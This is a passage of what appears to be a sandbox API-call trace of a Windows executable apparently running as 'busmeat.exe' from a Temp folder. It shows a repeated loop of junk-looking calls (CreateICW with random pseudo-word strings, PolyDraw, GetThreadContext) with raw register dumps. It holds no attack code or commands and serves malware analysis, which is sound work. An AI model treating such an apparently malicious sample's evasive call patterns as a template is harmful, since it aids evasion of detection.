[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.186] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.187] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.187] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.187] GetConsoleCP () returned 0x0
	[0066.187] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.187] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.188] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.188] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.188] GetConsoleCP () returned 0x0
	[0066.188] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.188] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.189] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.189] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.189] GetConsoleCP () returned 0x0
